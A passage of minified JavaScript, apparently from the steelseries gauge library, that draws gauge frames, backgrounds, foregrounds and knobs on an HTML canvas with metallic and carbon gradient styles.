132, 132, 0.8)\",s.beginPath(),s.lineWidth=e/90,s.arc(u,f,e/2,0,Math.PI*2,!0),s.closePath(),s.stroke(),s.restore();break;case\"shinyMetal\":l=[0,.125,.25,.347222,.5,.652777,.75,.875,1],a=[new n(254,254,254,1),new n(210,210,210,1),new n(179,179,179,1),new n(238,238,238,1),new n(160,160,160,1),new n(238,238,238,1),new n(179,179,179,1),new n(210,210,210,1),new n(254,254,254,1)],s.save(),s.clip(s.arc(u,f,e*.990654/2,0,Math.PI*2,!0)),y=e*.495327,c=e*.42056,h=new it(l,a,-Math.PI/2),h.fill(s,u,f,c,y),s.strokeStyle=\"#848484\",s.strokeStyle=\"rgba(132, 132, 132, 0.8)\",s.beginPath(),s.lineWidth=e/90,s.arc(u,f,e/2,0,Math.PI*2,!0),s.closePath(),s.stroke(),s.restore();break;case\"chrome\":l=[0,.09,.12,.16,.25,.29,.33,.38,.48,.52,.63,.68,.8,.83,.87,.97,1],a=[new n(255,255,255,1),new n(255,255,255,1),new n(136,136,138,1),new n(164,185,190,1),new n(158,179,182,1),new n(112,112,112,1),new n(221,227,227,1),new n(155,176,179,1),new n(156,176,177,1),new n(254,255,255,1),new n(255,255,255,1),new n(156,180,180,1),new n(198,209,211,1),new n(246,248,247,1),new n(204,216,216,1),new n(164,188,190,1),new n(255,255,255,1)],s.save(),s.clip(s.arc(u,f,e*.990654/2,0,Math.PI*2,!0)),y=e*.495327,c=e*.42056,h=new it(l,a,-Math.PI/2),h.fill(s,u,f,c,y),s.strokeStyle=\"#848484\",s.strokeStyle=\"rgba(132, 132, 132, 0.8)\",s.beginPath(),s.lineWidth=e/90,s.arc(u,f,e/2,0,Math.PI*2,!0),s.closePath(),s.stroke(),s.restore()}s.fillStyle=\"rgb(191, 191, 191)\",s.beginPath(),s.arc(u,f,e*.841121/2,0,Math.PI*2,!0),s.closePath(),s.fill(),s.globalCompositeOperation=\"destination-out\",s.beginPath(),s.arc(u,f,e*.831775/2,0,Math.PI*2,!0),s.closePath(),s.fill(),v.cache[p]=w}return i.drawImage(v.cache[p],0,0),this},v.cache={},ht=function(i,r,u,f,e){var c,k,h,l,d,w,o,p=[],v=[],y,a,b=u.toString()+f+r.design+e;if(!ht.cache[b]){c=Math.sqrt(u*u+f*f)*.04,c=Math.min(c,(e?u:f)*.1),k=t(u,f),h=k.getContext(\"2d\"),e?(l=u*.05,d=l-1,w=u*.028571):(l=f*.05,d=l-1,w=f*.028571),s(h,0,0,u,f,l),h.fillStyle=\"#838383\",h.fill(),s(h,1,1,u-2,f-2,d);switch(r.design){case\"metal\":o=h.createLinearGradient(0,u*.004672,0,f*.990654),o.addColorStop(0,\"#fefefe\"),o.addColorStop(.07,\"rgb(210, 210, 210)\"),o.addColorStop(.12,\"rgb(179, 179, 179)\"),o.addColorStop(1,\"rgb(213, 213, 213)\"),h.fillStyle=o,h.fill();break;case\"brass\":o=h.createLinearGradient(0,u*.004672,0,f*.990654),o.addColorStop(0,\"rgb(249, 243, 155)\"),o.addColorStop(.05,\"rgb(246, 226, 101)\"),o.addColorStop(.1,\"rgb(240, 225, 132)\"),o.addColorStop(.5,\"rgb(90, 57, 22)\"),o.addColorStop(.9,\"rgb(249, 237, 139)\"),o.addColorStop(.95,\"rgb(243, 226, 108)\"),o.addColorStop(1,\"rgb(202, 182, 113)\"),h.fillStyle=o,h.fill();break;case\"steel\":o=h.createLinearGradient(0,u*.004672,0,f*.990654),o.addColorStop(0,\"rgb(231, 237, 237)\"),o.addColorStop(.05,\"rgb(189, 199, 198)\"),o.addColorStop(.1,\"rgb(192, 201, 200)\"),o.addColorStop(.5,\"rgb(23, 31, 33)\"),o.addColorStop(.9,\"rgb(196, 205, 204)\"),o.addColorStop(.95,\"rgb(194, 204, 203)\"),o.addColorStop(1,\"rgb(189, 201, 199)\"),h.fillStyle=o,h.fill();break;case\"gold\":o=h.createLinearGradient(0,u*.004672,0,f*.990654),o.addColorStop(0,\"rgb(255, 255, 207)\"),o.addColorStop(.15,\"rgb(255, 237, 96)\"),o.addColorStop(.22,\"rgb(254, 199, 57)\"),o.addColorStop(.3,\"rgb(255, 249, 203)\"),o.addColorStop(.38,\"rgb(255, 199, 64)\"),o.addColorStop(.44,\"rgb(252, 194, 60)\"),o.addColorStop(.51,\"rgb(255, 204, 59)\"),o.addColorStop(.6,\"rgb(213, 134, 29)\"),o.addColorStop(.68,\"rgb(255, 201, 56)\"),o.addColorStop(.75,\"rgb(212, 135, 29)\"),o.addColorStop(1,\"rgb(247, 238, 101)\"),h.fillStyle=o,h.fill();break;case\"anthracite\":o=h.createLinearGradient(0,.004672*f,0,.995326*f),o.addColorStop(0,\"rgb(118, 117, 135)\"),o.addColorStop(.06,\"rgb(74, 74, 82)\"),o.addColorStop(.12,\"rgb(50, 50, 54)\"),o.addColorStop(1,\"rgb(79, 79, 87)\"),h.fillStyle=o,h.fill();break;case\"tiltedGray\":o=h.createLinearGradient(.233644*u,.084112*f,.81258*u,.910919*f),o.addColorStop(0,\"#ffffff\"),o.addColorStop(.07,\"rgb(210, 210, 210)\"),o.addColorStop(.16,\"rgb(179, 179, 179)\"),o.addColorStop(.33,\"#ffffff\"),o.addColorStop(.55,\"#c5c5c5\"),o.addColorStop(.79,\"#ffffff\"),o.addColorStop(1,\"#666666\"),h.fillStyle=o,h.fill();break;case\"tiltedBlack\":o=h.createLinearGradient(.228971*u,.079439*f,.802547*u,.898591*f),o.addColorStop(0,\"#666666\"),o.addColorStop(.21,\"#000000\"),o.addColorStop(.47,\"#666666\"),o.addColorStop(.99,\"#000000\"),o.addColorStop(1,\"#000000\"),h.fillStyle=o,h.fill();break;case\"glossyMetal\":h.clip(s(h,1,1,u-2,f-2,l)),o=h.createLinearGradient(0,1,0,f-2),o.addColorStop(0,\"rgb(249, 249, 249)\"),o.addColorStop(.2,\"rgb(200, 195, 191)\"),o.addColorStop(.3,\"#ffffff\"),o.addColorStop(.6,\"rgb(29, 29, 29)\"),o.addColorStop(.8,\"rgb(200, 194, 192)\"),o.addColorStop(1,\"rgb(209, 209, 209)\"),h.fillStyle=o,h.fill(),h.clip(s(h,c-2,c-2,u-(c-2)*2,f-(c-2)*2,w)),h.fillStyle=\"#f6f6f6\",h.fill(),h.clip(s(h,c-1,c-1,u-(c-1)*2,f-(c-1)*2,w)),h.fillStyle=\"#333333\",h.fill();break;case\"blackMetal\":p=[0,.125,.347222,.5,.680555,.875,1],v=[new n(254,254,254,1),new n(0,0,0,1),new n(153,153,153,1),new n(0,0,0,1),new n(153,153,153,1),new n(0,0,0,1),new n(254,254,254,1)],y=0,a=Math.sqrt(f*f+u*u)/2,h.clip(s(h,1,1,u-2,f-2,l)),o=new it(p,v,-Math.PI/2),o.fill(h,u/2,f/2,y,a);break;case\"shinyMetal\":p=[0,.125,.25,.347222,.5,.652777,.75,.875,1],v=[new n(254,254,254,1),new n(210,210,210,1),new n(179,179,179,1),new n(238,238,238,1),new n(160,160,160,1),new n(238,238,238,1),new n(179,179,179,1),new n(210,210,210,1),new n(254,254,254,1)],y=0,a=Math.sqrt(f*f+u*u)/2,h.clip(s(h,1,1,u-2,f-2,l)),o=new it(p,v,-Math.PI/2),o.fill(h,u/2,f/2,y,a);break;case\"chrome\":p=[0,.09,.12,.16,.25,.29,.33,.38,.48,.52,.63,.68,.8,.83,.87,.97,1],v=[new n(255,255,255,1),new n(255,255,255,1),new n(136,136,138,1),new n(164,185,190,1),new n(158,179,182,1),new n(112,112,112,1),new n(221,227,227,1),new n(155,176,179,1),new n(156,176,177,1),new n(254,255,255,1),new n(255,255,255,1),new n(156,180,180,1),new n(198,209,211,1),new n(246,248,247,1),new n(204,216,216,1),new n(164,188,190,1),new n(255,255,255,1)],y=0,a=Math.sqrt(f*f+u*u)/2,h.clip(s(h,1,1,u-2,f-2,l)),o=new it(p,v,-Math.PI/2),o.fill(h,u/2,f/2,y,a)}s(h,c-1,c-1,u-(c-1)*2,f-(c-1)*2,w-1),h.fillStyle=\"rgb(192, 192, 192)\",h.globalCompositeOperation=\"destination-out\",s(h,c,c,u-c*2,f-c*2,4),h.fill(),ht.cache[b]=k}return i.drawImage(ht.cache[b],0,0),this},ht.cache={},w=function(i,r,u,f,e,o){var p,s,h,k,d,g=e*.831775/2,et,ft,rt,tt,ut,c,v,a,l,nt,y,b=e.toString()+o+r.name;if(!w.cache[b]){p=t(e,o),s=p.getContext(\"2d\"),s.beginPath(),s.arc(u,f,e*.831775/2,0,Math.PI*2,!0),s.closePath();if(r.name===\"CARBON\"||r.name===\"PUNCHED_SHEET\"||r.name===\"BRUSHED_METAL\"||r.name===\"BRUSHED_STAINLESS\")r.name===\"CARBON\"&&(s.fillStyle=s.createPattern(vi,\"repeat\"),s.fill()),r.name===\"PUNCHED_SHEET\"&&(s.fillStyle=s.createPattern(ci,\"repeat\"),s.fill()),h=s.createLinearGradient(g,0,e-g,0),h.addColorStop(0,\"rgba(0, 0, 0, 0.25)\"),h.addColorStop(.5,\"rgba(0, 0, 0, 0)\"),h.addColorStop(1,\"rgba(0, 0, 0, 0.25)\"),s.fillStyle=h,s.beginPath(),s.arc(u,f,e*.831775/2,0,Math.PI*2,!0),s.closePath(),s.fill(),(r.name===\"BRUSHED_METAL\"||r.name===\"BRUSHED_STAINLESS\")&&(et=r.name===\"BRUSHED_METAL\"?!0:!1,ft=parseInt(r.gradientStop.getHexColor().substr(-6),16),rt=li(ft,5,.1,et,.5),s.fillStyle=s.createPattern(rt.fill(0,0,e,o),\"no-repeat\"),s.fill());else if(r.name===\"STAINLESS\"||r.name===\"TURNED\"){k=[0,.03,.1,.14,.24,.33,.38,.5,.62,.67,.76,.81,.85,.97,1],d=[new n(\"#FDFDFD\"),new n(\"#FDFDFD\"),new n(\"#B2B2B4\"),new n(\"#ACACAE\"),new n(\"#FDFDFD\"),new n(\"#6E6E70\"),new n(\"#6E6E70\"),new n(\"#FDFDFD\"),new n(\"#6E6E70\"),new n(\"#6E6E70\"),new n(\"#FDFDFD\"),new n(\"#ACACAE\"),new n(\"#B2B2B4\"),new n(\"#FDFDFD\"),new n(\"#FDFDFD\")],tt=e*.831775/2,ut=0,h=new it(k,d,Math.PI/1.75),h.fill(s,u,f,ut,tt),s.closePath();if(r.name===\"TURNED\"){for(c=Math.PI*2,v=e*.831775/2,a=v*.55,l=c/360*(500/v),s.save(),s.clip(s.arc(u,f,v,0,c)),s.lineWidth=.5,nt=c-l*.3,y=0;y<nt;y+=l)s.strokeStyle=\"rgba(240, 240, 255, 0.25)\",s.beginPath(),s.arc(u+a,f,a,0,c),s.stroke(),s.translate(u,f),s.rotate(l*.3),s.translate(-u,-f),s.strokeStyle=\"rgba(25, 10, 10, 0.1)\",s.beginPath(),s.arc(u+a,f,a,0,c),s.stroke(),s.translate(u,f),s.rotate(-l*.3),s.translate(-u,-f),s.translate(u,f),s.rotate(l),s.translate(-u,-f);s.restore()}}else h=s.createLinearGradient(0,e*.084112,0,o*.831775),h.addColorStop(0,r.gradientStart.getRgbaColor()),h.addColorStop(.4,r.gradientFraction.getRgbaColor()),h.addColorStop(1,r.gradientStop.getRgbaColor()),s.fillStyle=h,s.fill();h=s.createRadialGradient(u,f,0,u,f,e*.831775/2),h.addColorStop(0,\"rgba(0, 0, 0, 0)\"),h.addColorStop(.7,\"rgba(0, 0, 0, 0)\"),h.addColorStop(.71,\"rgba(0, 0, 0, 0)\"),h.addColorStop(.86,\"rgba(0, 0, 0, 0.03)\"),h.addColorStop(.92,\"rgba(0, 0, 0, 0.07)\"),h.addColorStop(.97,\"rgba(0, 0, 0, 0.15)\"),h.addColorStop(1,\"rgba(0, 0, 0, 0.3)\"),s.fillStyle=h,s.beginPath(),s.arc(u,f,e*.831775/2,0,c,!0),s.closePath(),s.fill(),w.cache[b]=p}return i.drawImage(w.cache[b],0,0),this},w.cache={},rt=function(n,t,i,r,u,f){var o=u*.831775,e=f*.831775,h=(u-o)/2,s=(f-e)/2;return t!==null&&t.height>0&&t.width>0&&(n.save(),n.beginPath(),n.arc(i,r,u*.831775/2,0,Math.PI*2,!0),n.clip(),n.drawImage(t,h,s,o,e),n.restore()),this},ot=function(i,r,u,f,e){var l,tt,c,ut,b,h,g,o,k,w,p,v,a,y,ft,rt,nt,d=u.toString()+f+e+r.name;if(!ot.cache[d]){h=Math.sqrt(u*u+f*f)*.04,h=Math.min(h,(e?u:f)*.1),g=t(u,f),o=g.getContext(\"2d\"),linBColor=r,s(o,h,h,u-h*2,f-h*2,4);if(r.name===\"CARBON\"||r.name===\"PUNCHED_SHEET\"||r.name===\"STAINLESS\"||r.name===\"BRUSHED_METAL\"||r.name===\"BRUSHED_STAINLESS\"||r.name===\"TURNED\"){r.name===\"CARBON\"&&(o.fillStyle=o.createPattern(vi,\"repeat\"),o.fill()),r.name===\"PUNCHED_SHEET\"&&(o.fillStyle=o.createPattern(ci,\"repeat\"),o.fill());if(r.name===\"STAINLESS\"||r.name===\"TURNED\"){ut=[0,.03,.1,.14,.24,.33,.38,.5,.62,.67,.76,.81,.85,.97,1],b=[new n(\"#FDFDFD\"),new n(\"#FDFDFD\"),new n(\"#B2B2B4\"),new n(\"#ACACAE\"),new n(\"#FDFDFD\"),new n(\"#6E6E70\"),new n(\"#6E6E70\"),new n(\"#FDFDFD\"),new n(\"#6E6E70\"),new n(\"#6E6E70\"),new n(\"#FDFDFD\"),new n(\"#ACACAE\"),new n(\"#B2B2B4\"),new n(\"#FDFDFD\"),new n(\"#FDFDFD\")],c=new it(ut,b,Math.PI/1.75),o.clip(s(o,h,h,u-h*2,f-h*2,4)),k=Math.sqrt((u-h*2)*(u-h*2)+(f-h*2)*(f-h*2))/2,c.fill(o,u/2,f/2,0,k),c=o.createLinearGradient(0,h,0,f-h*2),c.addColorStop(0,\"rgba(0, 0, 0, 0.25)\"),c.addColorStop(.1,\"rgba(0, 0, 0, 0.05)\"),c.addColorStop(1,\"rgba(0, 0, 0, 0)\"),o.fillStyle=c,s(o,h,h,u-h*2,f-h*2,4),o.fill(),o.restore();if(r.name===\"TURNED\"){for(w=Math.PI*2,p=k*.55,v=u/2,a=f/2,y=w/360*(400/k),o.save(),o.lineWidth=.5,tt=w-y*.3,l=0;l<tt;l+=y)o.strokeStyle=\"rgba(240, 240, 255, 0.25)\",o.beginPath(),o.arc(v+p,a,p,0,w),o.stroke(),o.translate(v,a),o.rotate(y*.3),o.translate(-v,-a),o.strokeStyle=\"rgba(25, 10, 10, 0.1)\",o.beginPath(),o.arc(v+p,a,p,0,w),o.stroke(),o.translate(v,a),o.rotate(-y*.3),o.translate(-v,-a),o.translate(v,a),o.rotate(y),o.translate(-v,-a);o.restore()}}c=o.createLinearGradient(h,h,u-h*2,f-h*2),c.addColorStop(0,\"rgba(0, 0, 0, 0.25)\"),c.addColorStop(.5,\"rgba(0, 0, 0, 0)\"),c.addColorStop(1,\"rgba(0, 0, 0, 0.25)\"),o.fillStyle=c,s(o,h,h,u-h*2,f-h*2,4),o.fill(),(r.name===\"BRUSHED_METAL\"||r.name===\"BRUSHED_STAINLESS\")&&(ft=r.name===\"BRUSHED_METAL\"?!0:!1,rt=parseInt(r.gradientStop.getHexColor().substr(-6),16),nt=li(rt,5,.1,ft,.5),o.fillStyle=o.createPattern(nt.fill(0,0,u,f),\"no-repeat\"),o.fill())}else c=o.createLinearGradient(0,h,0,f-h*2),c.addColorStop(0,r.gradientStart.getRgbaColor()),c.addColorStop(.4,r.gradientFraction.getRgbaColor()),c.addColorStop(1,r.gradientStop.getRgbaColor()),o.fillStyle=c,o.fill();for(b=[\"rgba(0, 0, 0, 0.3)\",\"rgba(0, 0, 0, 0.15)\",\"rgba(0, 0, 0, 0.07)\",\"rgba(0, 0, 0, 0.03)\",\"rgba(0, 0, 0, 0)\",\"rgba(0, 0, 0, 0)\",\"rgba(0, 0, 0, 0)\"],l=0;l<7;l++)s(o,h+l,h+l,u-h*2-2*l,f-h*2-2*l,4),o.strokeStyle=b[l],o.stroke();ot.cache[d]=g}return i.drawImage(ot.cache[d],0,0),this},ot.cache={},y=function(n,i,r,u,f,o,s,h,c){var g,l,v=Math.ceil(u*.084112),p=r*.5-v/2,b=u*.5-v/2,w=r*.008,a,k,d=i.type+r+u+f+(o!==undefined?o.type:\"-\")+(s!==undefined?s.style:\"-\")+(h!==undefined?h.type:\"-\")+(c!==undefined?c.type:\"-\");if(!y.cache[d]){g=t(r,u),l=g.getContext(\"2d\"),f&&(h===steelseries.GaugeType.TYPE5?steelseries.Orientation.WEST===c?(p=r*.733644-v/2,l.drawImage(e(v,o,s,!0),p+w,b+w),l.drawImage(e(v,o,s,!1),p,b)):(b=u*.733644-v/2,l.drawImage(e(v,o,s,!0),p+w,u*.6857+w),l.drawImage(e(v,o,s,!1),p,u*.6857)):(l.drawImage(e(v,o,s,!0),p+w,b+w),l.drawImage(e(v,o,s,!1),p,b)));switch(i.type){case\"type2\":l.beginPath(),l.moveTo(r*.135514,u*.696261),l.bezierCurveTo(r*.214953,u*.588785,r*.317757,u*.5,r*.462616,u*.425233),l.bezierCurveTo(r*.612149,u*.345794,r*.733644,u*.317757,r*.873831,u*.322429),l.bezierCurveTo(r*.766355,u*.112149,r*.528037,u*.023364,r*.313084,u*.130841),l.bezierCurveTo(r*.09813,u*.238317,r*.028037,u*.485981,r*.135514,u*.696261),l.closePath(),a=l.createLinearGradient(.313084*r,.135514*u,.495528*r,.493582*u),a.addColorStop(0,\"rgba(255, 255, 255, 0.275)\"),a.addColorStop(1,\"rgba(255, 255, 255, 0.015)\");break;case\"type3\":l.beginPath(),l.moveTo(r*.084112,u*.509345),l.bezierCurveTo(r*.21028,u*.556074,r*.462616,u*.560747,r*.5,u*.560747),l.bezierCurveTo(r*.537383,u*.560747,r*.794392,u*.560747,r*.915887,u*.509345),l.bezierCurveTo(r*.915887,u*.2757,r*.738317,u*.084112,r*.5,u*.084112),l.bezierCurveTo(r*.261682,u*.084112,r*.084112,u*.2757,r*.084112,u*.509345),l.closePath(),a=l.createLinearGradient(0,.093457*u,0,.556073*u),a.addColorStop(0,\"rgba(255, 255, 255, 0.275)\"),a.addColorStop(1,\"rgba(255, 255, 255, 0.015)\");break;case\"type4\":l.beginPath(),l.moveTo(r*.67757,u*.24299),l.bezierCurveTo(r*.771028,u*.308411,r*.822429,u*.411214,r*.813084,u*.528037),l.bezierCurveTo(r*.799065,u*.654205,r*.719626,u*.757009,r*.593457,u*.799065),l.bezierCurveTo(r*.485981,u*.831775,r*.369158,u*.808411,r*.285046,u*.728971),l.bezierCurveTo(r*.2757,u*.719626,r*.252336,u*.714953,r*.233644,u*.728971),l.bezierCurveTo(r*.214953,u*.747663,r*.219626,u*.771028,r*.228971,u*.7757),l.bezierCurveTo(r*.331775,u*.878504,r*.476635,u*.915887,r*.616822,u*.869158),l.bezierCurveTo(r*.771028,u*.822429,r*.873831,u*.691588,r*.88785,u*.53271),l.bezierCurveTo(r*.897196,u*.38785,r*.836448,u*.257009,r*.719626,u*.182242),l.bezierCurveTo(r*.705607,u*.172897,r*.682242,u*.163551,r*.663551,u*.186915),l.bezierCurveTo(r*.654205,u*.205607,r*.668224,u*.238317,r*.67757,u*.24299),l.closePath(),a=l.createRadialGradient(.5*r,.5*u,0,.5*r,.5*u,.38785*r),a.addColorStop(0,\"rgba(255, 255, 255, 0)\"),a.addColorStop(.82,\"rgba(255, 255, 255, 0)\"),a.addColorStop(.83,\"rgba(255, 255, 255, 0)\"),a.addColorStop(1,\"rgba(255, 255, 255, 0.15)\"),l.beginPath(),l.moveTo(r*.261682,u*.224299),l.bezierCurveTo(r*.285046,u*.238317,r*.252336,u*.285046,r*.24299,u*.317757),l.bezierCurveTo(r*.24299,u*.350467,r*.271028,u*.383177,r*.271028,u*.397196),l.bezierCurveTo(r*.2757,u*.415887,r*.261682,u*.457943,r*.238317,u*.509345),l.bezierCurveTo(r*.224299,u*.542056,r*.17757,u*.612149,r*.158878,u*.612149),l.bezierCurveTo(r*.144859,u*.612149,r*.088785,u*.546728,r*.130841,u*.369158),l.bezierCurveTo(r*.140186,u*.336448,r*.214953,u*.200934,r*.261682,u*.224299),l.closePath(),k=l.createLinearGradient(.130841*r,.369158*u,.273839*r,.412877*u),k.addColorStop(0,\"rgba(255, 255, 255, 0.275)\"),k.addColorStop(1,\"rgba(255, 255, 255, 0.015)\"),l.fillStyle=k,l.fill();break;case\"type5\":l.beginPath(),l.moveTo(r*.084112,u*.5),l.bezierCurveTo(r*.084112,u*.271028,r*.271028,u*.084112,r*.5,u*.084112),l.bezierCurveTo(r*.700934,u*.084112,r*.864485,u*.224299,r*.906542,u*.411214),l.bezierCurveTo(r*.911214,u*.439252,r*.911214,u*.518691,r*.845794,u*.537383),l.bezierCurveTo(r*.794392,u*.546728,r*.551401,u*.411214,r*.392523,u*.457943),l.bezierCurveTo(r*.168224,u*.509345,r*.135514,u*.7757,r*.093457,u*.593457),l.bezierCurveTo(r*.088785,u*.560747,r*.084112,u*.53271,r*.084112,u*.5),l.closePath(),a=l.createLinearGradient(0,.084112*u,0,.644859*u),a.addColorStop(0,\"rgba(255, 255, 255, 0.275)\"),a.addColorStop(1,\"rgba(255, 255, 255, 0.015)\");break;case\"type1\":default:l.beginPath(),l.moveTo(r*.084112,u*.509345),l.bezierCurveTo(r*.205607,u*.448598,r*.336448,u*.415887,r*.5,u*.415887),l.bezierCurveTo(r*.672897,u*.415887,r*.789719,u*.443925,r*.915887,u*.509345),l.bezierCurveTo(r*.915887,u*.2757,r*.738317,u*.084112,r*.5,u*.084112),l.bezierCurveTo(r*.261682,u*.084112,r*.084112,u*.2757,r*.084112,u*.509345),l.closePath(),a=l.createLinearGradient(0,.088785*u,0,.490654*u),a.addColorStop(0,\"rgba(255, 255, 255, 0.275)\"),a.addColorStop(1,\"rgba(255, 255, 255, 0.015)\")}l.fillStyle=a,l.fill(),y.cache[d]=g}return n.drawImage(y.cache[d],0,0),this},y.cache={},et=function(n,i,r,u){var l,o,e,h,f,s,c=i.toString()+r+u;return et.cache[c]||(l=t(i,r),o=l.getContext(\"2d\"),h=Math.sqrt(i*i+r*r)*.04,h=Math.min(h,(u?i:r)*.1),f=h*1.3,s=f*1.33,o.beginPath(),o.moveTo(f,r-f),o.lineTo(i-f,r-f),o.bezierCurveTo(i-f,r-f,i-s,r*.7,i-s,r*.5),o.bezierCurveTo(i-s,s,i-f,f,i-h,f),o.lineTo(f,f),o.bezierCurveTo(f,f,s,r*.285714,s,r*.5),o.bezierCurveTo(s,r*.7,f,r-f,h,r-f),o.closePath(),e=o.createLinearGradient(0,r-h,0,h),e.addColorStop(0,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.06,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.07,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.12,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.17,\"rgba(255, 255, 255, 0.013546)\"),e.addColorStop(.1701,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.79,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.8,\"rgba(255, 255, 255, 0)\"),e.addColorStop(.84,\"rgba(255, 255, 255, 0.082217)\"),e.addColorStop(.93,\"rgba(255, 255, 255, 0.288702)\"),e.addColorStop(.94,\"rgba(255, 255, 255, 0.298039)\"),e.addColorStop(.96,\"rgba(255, 255, 255, 0.119213)\"),e.addColorStop(.97,\"rgba(255, 255, 255, 0)\"),e.addColorStop(1,\"rgba(255, 255, 255, 0)\"),o.fillStyle=e,o.fill(),et.cache[c]=l),n.drawImage(et.cache[c],0,0),this},et.cache={},e=function(n,i,r,u){var l,f,h=n/2,s=n/2,o,c=n.toString()+i.type+r.style+u;if(!e.cache[c]){l=t(n*1.18889,n*1.18889),f=l.getContext(\"2d\"),u&&(f.fillStyle=\"rgba(0, 0, 0, 1)\",f.strokeStyle=\"rgba(0, 0, 0, 1)\",f.shadowBlur=3,f.globalAlpha=.5);switch(i.type){case\"metalKnob\":f.beginPath(),f.moveTo(0,n*.5),f.bezierCurveTo(0,n*.222222,n*.222222,0,n*.5,0),f.bezierCurveTo(n*.777777,0,n,n*.222222,n,n*.5),f.bezierCurveTo(n,n*.777777,n*.777777,n,n*.5,n),f.bezierCurveTo(n*.222222,n,0,n*.777777,0,n*.5),f.closePath(),u||(o=f.createLinearGradient(0,0,0,n),o.addColorStop(0,\"rgb(92, 95, 101)\"),o.addColorStop(.47,\"rgb(46, 49, 53)\"),o.addColorStop(1,\"rgb(22, 23, 26)\"),f.fillStyle=o),f.fill(),f.beginPath(),f.moveTo(n*.055555,n*.5),f.bezierCurveTo(n*.055555,n*.277777,n*.277777,n*.055555,n*.5,n*.055555),f.bezierCurveTo(n*.722222,n*.055555,n*.944444,n*.277777,n*.944444,n*.5),f.bezierCurveTo(n*.944444,n*.722222,n*.722222,n*.944444,n*.5,n*.944444),f.bezierCurveTo(n*.277777,n*.944444,n*.055555,n*.722222,n*.055555,n*.5),f.closePath();if(u)f.fill();else{o=f.createLinearGradient(0,.055555*n,0,.944443*n);switch(r.style){case\"black\":o.addColorStop(0,\"rgb(43, 42, 47)\"),o.addColorStop(1,\"rgb(26, 27, 32)\");break;case\"brass\":o.addColorStop(0,\"rgb(150, 110, 54)\"),o.addColorStop(1,\"rgb(124, 95, 61)\");break;case\"silver\":default:o.addColorStop(0,\"rgb(204, 204, 204)\"),o.addColorStop(1,\"rgb(87, 92, 98)\")}f.fillStyle=o,f.fill()}f.beginPath(),f.moveTo(n*.777777,n*.833333),f.bezierCurveTo(n*.722222,n*.722222,n*.611111,n*.666666,n*.5,n*.666666),f.bezierCurveTo(n*.388888,n*.666666,n*.277777,n*.722222,n*.222222,n*.833333),f.bezierCurveTo(n*.277777,n*.888888,n*.388888,n*.944444,n*.5,n*.944444),f.bezierCurveTo(n*.611111,n*.944444,n*.722222,n*.888888,n*.777777,n*.833333),f.closePath(),u||(o=f.createRadialGradient(.555555*n,.944444*n,0,.555555*n,.944444*n,.388888*n),o.addColorStop(0,\"rgba(255, 255, 255, 0.6)\"),o.addColorStop(1,\"rgba(255, 255, 255, 0)\"),f.fillStyle=o),f.fill(),f.beginPath(),f.moveTo(n*.944444,n*.277777),f.bezierCurveTo(n*.833333,n*.111111,n*.666666,0,n*.5,0),f.bezierCurveTo(n*.333333,0,n*.166666,n*.111111,n*.055555,n*.277777),f.bezierCurveTo(n*.166666,n*.333333,n*.333333,n*.388888,n*.5,n*.388888),f.bezierCurveTo(n*.666666,n*.388888,n*.833333,n*.333333,n*.944444,n*.277777),f.closePath(),u||(o=f.createRadialGradient(.5*n,0,0,.5*n,0,.583333*n),o.addColorStop(0,\"rgba(255, 255, 255, 0.749019)\"),o.addColorStop(1,\"rgba(255, 255, 255, 0)\"),f.fillStyle=o),f.fill(),f.beginPath(),f.moveTo(n*.277777,n*.555555),f.bezierCurveTo(n*.277777,n*.388888,n*.388888,n*.277777,n*.5,n*.277777),f.bezierCurveTo(n*.611111,n*.277777,n*.777777,n*.388888,n*.777777,n*.555555),f.bezierCurveTo(n*.777777,n*.666666,n*.611111,n*.777777,n*.5,n*.777777),f.bezierCurveTo(n*.388888,n*.777777,n*.277777,n*.666666,n*.277777,n*.555555),f.closePath(),u||(o=f.createLinearGradient(0,.277777*n,0,.722221*n),o.addColorStop(0,\"#000000\"),o.addColorStop(1,\"rgb(204, 204, 204)\"),f.fillStyle=o),f.fill(),f.beginPath(),f.moveTo(n*.333333,n*.555555),f.bezierCurveTo(n*.333333,n*.444444,n*.388888,n*.333333,n*.5,n*.333333),f.bezierCurveTo(n*.611111,n*.333333,n*.722222,n*.444444,n*.722222,n*.555555),f.bezierCurveTo(n*.722222,n*.611111,n*.611111,n*.722222,n*.5,n*.722222),f.bezierCurveTo(n*.388888,n*.722222,n*.333333,n*.611111,n*.333333,n*.555555),f.closePath(),u||(o=f.createLinearGradient(0,.333333*n,0,.666666*n),o.addColorStop(0,\"rgb(10, 9, 1)\"),o.addColorStop(1,\"rgb(42, 41, 37)\"),f.fillStyle=o),f.fill();break;case\"standardKnob\":u||(o=f.createLinearGradient(0,0,0,n),o.addColorStop(0,\"rgb(180, 180, 180)\"),o.addColorStop(.46,\"rgb(63, 63, 63)\"),o.addColorStop(1,\"rgb(40, 40, 40)\"),f.fillStyle=o),f.beginPath(),f.arc(h,s,n/2,0,Math.PI*2,!0),f.closePath(),f.fill();if(!u){o=f.createLinearGradient(0,n-n*.77,0,n-n*.77+n*.77);switch(r.style){case\"black\":o.addColorStop(0,\"rgb(191, 191, 191)\"),o.addColorStop(.5,\"rgb(45, 44, 49)\"),o.addColorStop(1,\"rgb(125, 126, 128)\");break;case\"brass\":o.addColorStop(0,\"rgb(223, 208, 174)\"),o.addColorStop(.5,\"rgb(123, 95, 63)\"),o.addColorStop(1,\"rgb(207, 190, 157)\");break;case\"silver\":default:o.addColorStop(0,\"rgb(215, 215, 215)\"),o.addColorStop(.5,\"rgb(116, 116, 116)\"),o.addColorStop(1,\"rgb(215, 215, 215)\")}f.fillStyle=o}f.beginPath(),f.arc(h,s,n*.77/2,0,Math.PI*2,!0),f.closePath(),f.fill(),u||(o=f.createRadialGradient(h,s,0,h,s,n*.77/2),o.addColorStop(0,\"rgba(0, 0, 0, 0)\"),o.addColorStop(.75,\"rgba(0, 0, 0, 0)\"),o.addColorStop(.76,\"rgba(0, 0, 0, 0.01)\"),o.addColorStop(1,\"rgba(0, 0, 0, 0.2)\"),f.fillStyle=o),f.beginPath(),f.arc(h,s,n*.77/2,0,Math.PI*2,!0),f.closePath(),f.fill()}e.cache[c]=l}return e.cache[c]},e.cache={},o=function(n,i,r){var 